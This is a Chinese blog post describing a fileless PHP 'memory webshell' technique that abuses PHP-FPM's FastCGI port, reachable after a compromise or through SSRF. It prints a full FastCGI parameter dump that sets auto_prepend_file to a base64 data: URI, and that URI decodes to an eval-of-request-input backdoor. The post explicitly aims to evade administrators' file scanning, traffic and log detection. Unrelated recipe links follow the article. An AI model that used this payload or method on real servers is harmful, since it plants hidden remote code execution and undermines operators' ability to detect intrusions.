前言JAVA 内存马固然是极好的,可我略微瞟了一眼php 的占有率,虽然从我上次关注 PHP 10年都过去了,PHP 却仍然是最为主流的服务端 Web 语言 。所以,为什么没人做 PHP 的内存马研究呢?
文章插图
然而并不是没人做研究,可由于 PHP 语言的特性,他的一次执行生命周期,通常就是伴随着请求周期开始和结束的 。因此,很难完成一段代码的内存长久驻留 。目前网上如果搜索“PHP 内存马”,通常会发现两种模式:
- “不死”马:所谓的不死马,其实就是直接用代码弄一个死循环,强占一个 PHP 进程,并不间断的写一个PHP shell,或者执行一段代码 。
- Fastcgi马:这个利用了 PHP-FPM 可以直接通过 fastcgi 协议通讯的原理,可以指定SCRIPT_FILENAME,去执行机器上存在的 PHP 文件;或者配合auto_prepend_file+php://input,通过每次提交POST code去执行 。(稍微感叹一下,这个问题从我写fcgi_exp的代码,已过了整整10年)
方案现在,让我们聚焦一下,我们究竟想要达到一个什么样的目标:所谓内存马,最主要是为了避免后门文件落盘,让后门代码在内存中驻留,并且可以通过特定的方式访问,即可触发执行 。
从这个描述中,我们可以看出,隐藏是最核心的诉求 。尤其是为了在高等级的对抗过程中,避免管理员从各类文件扫描、流量特征、行为日志中检测出来 。内存马只能从进程本身的空间中做检测,传统的旁路检测很难做到这一点 。为此,什么通用性,重启即丢失等问题,通通无所谓 。
所以,我们把需求拆解一下,实际上要解决的两个问题:
- 让后门代码在内存中驻留 。
- 可以通过“正常”的请求手段,触发执行 。
于是,真正的方法其实很简单,我们只需要把前面提到的外部方案2略微改一下即可 。触发方式延续着之前的auto_prepend_file的方案,但由于我们是想要内存马,我们不再沿用php://input,否则还得每次都得提交代码,而是替换成data协议固定下来 。
假设在我们获取到一个 Web 的权限后——甚至我们可能只需要一个 SSRF 漏洞即可——我们只需要往 fpm 监听的端口发送如下结构的内容(这里是我本机测试):
array(15) {["GATEWAY_INTERFACE"]=>string(11) "FastCGI/1.0"["REQUEST_METHOD"]=>string(3) "GET"["SCRIPT_FILENAME"]=>string(30) "/home/www/wofeiwo/t.php"["SCRIPT_NAME"]=>string(14) "/wofeiwo/t.php"["QUERY_STRING"]=>string(0) ""["REQUEST_URI"]=>string(14) "/wofeiwo/t.php"["DOCUMENT_URI"]=>string(14) "/wofeiwo/t.php"["PHP_ADMIN_VALUE"]=>string(102) "allow_url_include = Onauto_prepend_file = "data:;base64,PD9waHAgQGV2YWwoJF9SRVFVRVNUW3Rlc3RdKTsgPz4=""["SERVER_SOFTWARE"]=>string(13) "80sec/wofeiwo"["REMOTE_ADDR"]=>string(9) "127.0.0.1"["REMOTE_PORT"]=>string(4) "9985"["SERVER_ADDR"]=>string(9) "127.0.0.1"["SERVER_PORT"]=>string(2) "80"["SERVER_NAME"]=>string(9) "localhost"["SERVER_PROTOCOL"]=>string(8) "HTTP/1.1"}
以上是 fastcgi 的通讯包大概结构内容 。至于怎么构造这个包,可以参考这个代码自己来改写 。我们看到,由于不需要php://input,我们只需要 GET 请求即可,并且,构造请求只需要随意给一个存在的 php 文件路径,无所谓内容是啥 。一个发包搞定一切,我们的 payload 已经无文件植入了 。由于使用了auto_prepend_file,因此我们只需要访问服务器上任意一个正常的 PHP 文件,无需任何修改,都能触发我们的内存马 。
推荐阅读
- 张子凡:自己做网站需要考虑哪些问题
- 西红柿炖牛腩的做法大全家常做法大全,番茄牛腩的做法 最正宗的做法大全窍门-
- 八宝粥的做法 八宝粥怎么煮
- 食材_胡萝卜的100种吃法窍门,胡萝卜怎么吃好吃做法大全-
- 怎么才能把奶粉搅拌均匀,奶精的做法和配方-
- 银鳕鱼的做法大全,糖醋鳕鱼怎么做好吃又简单-
- 里脊肉怎么做才好吃-,里脊肉怎么做更好吃-
- 炖杂拌儿鱼的做法,炖杂鱼的家常做法大全家常窍门-
- 树叶贴画:做小动物的方法
- 虫草花怎么炒的做法大全,虫草花怎么炒好吃又简单-